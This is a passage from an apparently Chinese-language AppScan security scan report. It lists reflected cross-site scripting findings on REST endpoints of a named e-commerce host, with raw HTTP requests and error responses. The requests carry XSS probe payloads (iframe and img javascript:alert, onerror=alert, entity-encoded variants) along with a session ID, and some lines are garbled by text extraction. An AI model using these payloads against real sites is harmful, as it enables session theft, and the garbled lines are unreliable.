sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:48 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<img src=javascript:alert(8035)>"
```

变体-|3/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&pocode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid=&3Cimg+src&3Dx+onerr|
or%3Dalert%288043%29%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:48 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<img src=x onerror=alert(8043)>"
```

问题 9 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	approvaltypeid (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/3

差异: 参数 从以下位置进行控制: — 至: (%3Ciframe+src%3Djavascript%3Aalert%287973%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&3Ciframe+src&3Djavascript&3Aalert|
$287973%29%3E&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<iframe src=javascript:alert(7973)>"
```

变体-|2/3

差异: 参数 从以下位置进行控制: — 至: %3Cimg+src%3Djavascript%3Aalert%287980%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

ж/ Сус Шн

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=%3Cimg+src%3Djavascript%3Aalert%28
```

```
7980%29%3E&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<img src=javascript:alert(7980)>"
```

变体-|3/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&3Cimg+src&3Dx+onerror&3Dalert&287|
987%29%3E&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<img src=x onerror=alert(7987)>"
```

问题 10 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsbatchDelete
实体:	->"goodsInfos"[0]->"goodsid" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: (105172) 至: (105172<iframe src=javascript:alert(7996)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 72
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "
                                    105172<iframe src=javascript:alert(7996)>"
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105172<a href="fitting-105172">fitting-105172</a>
src=javascript:alert(7996)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@ea45aad; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"] -
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: [105172] 至: [105172

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 69
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "
                                   105172<img src=javascript:alert(8002)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:47 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105172\stackrel{\textstyle <}{\mbox{img}}
src=javascript:alert(8002)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@49cba0fb; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"] -
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: 105172 至:

105172<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x74;%26%23x3a;alert%26%23x28;8021%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 134
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
```

```
"goodsInfos": [
              "goodsid": "105172<img
src=javascript:alert(8021)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:47 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105172<img
src=javascript:alert(8021)>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@77971774; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: (105172) 至: (105172

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 68
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "
                                   105172<img src=x onerror=alert(8026)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:47 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105172<img src=x
onerror=alert(8026)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@2da2c737; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
```

```
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

问题 11 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"enterpriseid" (Parameter)
	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: (55) 至: (55<iframe src=javascript:alert(8450)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 212
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "
                         55<iframe src=javascript:alert(8450)>",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:11 GMT
```

```
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '55<a href="src=javascript:alert(8450)">src=javascript:alert(8450)</a>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@41efa086; line: 1, column: 2] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: 55 至: 55

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 209
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "
                         55<img src=javascript:alert(8458)>",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img
    :javascript:alert(8458)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@6465f00d; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: 55 至:

55<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;8473%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 274
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55<img
src=jvvascript:alert(8473)>",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img
src=javascript:alert(8473)>':
not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@95470cb; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: (55) 至: (55

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 208
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US,en;q=0.8
```

```
"enterpriseid": "
                         55<img src=x onerror=alert(8481)>",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img src=x
onerror=alert(8481)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@3aae9d73; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

问题 12 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"classid" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 212
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
  "enterpriseid": "55",
                    2707<iframe src=javascript:alert(8431)>",
 "classid": "
  "parentcode": "04",
  "classcode": "04001",
  "classname": "\u884c\u653f\u670d\u52a1",
  "status": "0",
 "seq": "12",
  "endflag": "1"
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '2707<iframe
 src=javascript:alert(8431)>': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@303ea048; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|2/4

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 209
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid"· "
                   2707<img src=javascript:alert(8441)>",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
```

```
HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Headers: x-requested-with, content-type, sessionid

Server: openresty

Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS

Access-Control-Allow-Origin: *

Connection: keep-alive

Date: Fri, 12 Jan 2018 03:22:10 GMT

Content-Type: text/plain; charset=UTF-8

Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '2707 simg

src=javascript:alert(8441) ': not a valid Long value

at [Source: io.netty.buffer.ByteBufInputStream@2429aca2; line: 1, column: 21] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: 2707 至:

2707<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x73;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;8466%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 274
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "2707<img
src=jvvvscript:alert(8466)>",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '2707 <img
src=javvscript:alert(8466)>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@1f36f0f8; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: (2707) 至: (2707

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 208
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": " 2707<img src=x onerror=alert(8471)>", "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '2707<img src=x
onerror=alert(8471)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@5e74589d; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

问题 13 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"goodsid" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: (105190) 至: (105190<iframe src=javascript:alert(8976)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 92
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
